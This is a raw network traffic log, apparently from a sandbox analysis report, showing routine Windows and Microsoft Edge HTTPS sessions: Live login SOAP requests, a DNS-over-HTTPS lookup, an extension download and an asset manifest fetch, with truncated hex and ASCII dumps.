2024-11-21 18:58:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 18:58:43 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 18:58:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 18:57:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BL2 x-ms-request-id: 82b224f0-643d-4fd1-ac60-58ac8c366e5c PPServer: PPV: 30 H: BL02EPF0001D6D8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 18:58:43 GMT Connection: close Content-Length: 11389
2024-11-21 18:58:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49784	172.64.41.3	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-21 18:58:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-21 18:58:44 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 21 Nov 2024 18:58:44 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e62e9b579554241-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 18:58:44 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 00 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49792	23.55.235.251	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:46 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732820319&P2=404&P3=2&P4=HdwLs1lH8IQNtwBQMPu18EMHXz1QnkRd9CDWqLdhm3x7Z5fm2smsNYOlkqr0V7EwgJXFAkb%2fM%2fcNwFldkcl28w%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: VB8MlhAF6p0Zqp9otx7E2B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:46 UTC	1216	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 908d6f63-fdc8-4d51-8af4-65636b942c24 MS-RequestId: d1afb2a3-7551-4c56-ae30-5d3fb7888005 MS-CV: hLhbpFr7mJo+llIQz86iIS.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86393 Date: Thu, 21 Nov 2024 18:58:46 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.54.161.79,b=133063519,c=g,n=US_NJ_NEWARK,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.4fa13617.1732215526.7ee635f Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-21 18:58:46 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49789	20.190.147.6	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-21 18:58:46 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-21 18:58:46 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Nov 2024 18:57:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 281f2d13-ca47-4907-b0c5-b029bd749307 PPServer: PPV: 30 H: PH1PEPF00011EA9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Nov 2024 18:58:46 GMT Connection: close Content-Length: 11389
2024-11-21 18:58:46 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49791	13.107.246.63	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:46 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:47 UTC	557	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:47 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 44b2a3db-001e-0045-0847-3cb596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185846Z-174c587ffdf8fcgwhC1TEBnn7000000000fg0000000007g8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:47 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
